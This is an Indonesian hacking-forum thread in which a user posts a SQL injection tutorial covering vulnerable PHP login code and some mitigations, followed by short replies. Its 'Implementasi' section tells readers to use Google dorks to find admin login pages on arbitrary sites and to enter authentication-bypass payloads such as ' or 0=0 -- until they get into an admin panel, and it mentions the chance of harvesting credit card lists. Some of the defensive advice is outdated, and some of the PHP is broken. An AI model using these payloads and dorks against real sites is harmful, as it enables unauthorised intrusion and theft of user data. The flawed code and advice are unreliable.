Latest topics
IBC chat

ShoutMix chat widget
Navigation
 Portal
 Index
 Memberlist
 Profile
 FAQ
 Search

TUTORIAL SQL INJECTION

View previous topic View next topic Go down

TUTORIAL SQL INJECTION

Post  xampp on Sun Dec 05, 2010 5:56 pm

TUTORIAL SQL INJECTION

Pengertian SQL Injection
1) SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
2) SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.

Bug SQL Injection berbahaya ?
1) Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3) Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.


Apa saja yang diperlukan untuk melakukan SQL Injection ?
1) Internet Exploler / Browser
2) PC yang terhubung internet
3) Program atau software seperti softice



Contoh sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Gambar contoh SQL Injection


Contoh sintaks SQL Injection
1) Sintaks SQL string ‘-- setelah nama username
2) Query database awal :


Berubah menjadi :




Contoh sintaks SQL Injection
SQL Injection melalui URL, contohnya :


Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini

1. Merubah script php
Contoh script php semula :
$query = "select id,name,email,password,type,block from user " .
"where email = '$Email' and password = '$Password'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "<script>alert('Your account has been blocked');
document.location.href='index.php';</script>\n";
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));

Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :

Maka dilakukan perubahan script menjadi :
$query = "select id,name,email,password,type,block from user".
"where email = '$Email'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "<script>alert('Your account has been blocked');
document.location.href='index.php';</script>\n";
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));

2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :


3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :


Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}


3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
Cool Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.


Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.

R E F E R E N S I
1) -------------, SQLinjection, (www.BlackAngels.it).
2) -------------, Advanced SQL injection in SQL server applications, (www.ngssoftware.com).
3) -------------, SQL injection walktrough (www.securiteam.com).
4) BM-100, ”Hacking hiltonjakarta.com (SQL Injection)”, 24 Juli 2005, (http://www.jasakom.com).
5) Budi Raharjo, ”Keamanan Sistem Informasi Berbasis Internet”, PT Insan Indonesia & PT INDOCISC, Jakarta,2002.
6)
study

xampp

Posts: 4
Join date: 2010-12-05
Age: 23
Location: ---------------------------------------------------------------

View user profile

Back to top Go down

Re: TUTORIAL SQL INJECTION

Post  g34rboxxx on Mon Dec 06, 2010 1:54 am

Wooww lengkap banget kaka xampp ... terima kasih atas share ilmunya di forum kami yang kecil ini ... ternyata sqli itu luas sekali lol! lol!

g34rboxxx
Admin

Posts: 250
Join date: 2009-10-19
Age: 38
Location: Tebak hayooo

View user profile

Back to top Go down

Re: TUTORIAL SQL INJECTION

Post  Papyrus2 on Wed Dec 08, 2010 7:37 pm

thx for the info..
^^ Razz

Papyrus2

Posts: 13
Join date: 2010-11-29
Location: Dihatimu

View user profile http://www.f-crown.blogspot.com

Back to top Go down

Re: TUTORIAL SQL INJECTION

Post  g34rboxxx on Mon Dec 13, 2010 1:44 am

Sundul dikit gan .... bounce bounce bounce

g34rboxxx
Admin

Posts: 250
Join date: 2009-10-19
Age: 38
Location: Tebak hayooo

View user profile

Back to top Go down

tanya dong..hehe

Post  shaggy on Tue Dec 20, 2011 11:36 am

misi kakak xampp, mau nanya ni,

dari cara2 pencegahan sql injection kan ada pembatasan input box sama mematikan stored procedure y, itu apa kaitannya y sama pencegahan?? maksudnya kenapa kalo hal itu dilakukan, bisa jadi mencegah terjadinya sql injection?? bukannya stored procedure sendiri berguna untuk proteksi database mySQl y, sehingga user tidak bisa melakukan akses langsung ke tabel2 dasar, dan cukup menggunakan tabel2 yang ada pada stored procedure, sehingga membatasi hak akses user sesuai dengan kapasitas penggunaannya.

mohon bimbingannya kakak xampp, terima kasih sebelumnya Very Happy

shaggy

Posts: 1
Join date: 2011-12-20

View user profile

Back to top Go down

Re: TUTORIAL SQL INJECTION

Post  muhammad ali r on Mon Dec 31, 2012 8:42 am

gambarnya mana gan Question maklum kita masih baru Shocked

muhammad ali r

Posts: 1
Join date: 2012-12-31

View user profile

Back to top Go down

View previous topic View next topic Back to top


Permissions in this forum:
You cannot reply to topics in this forum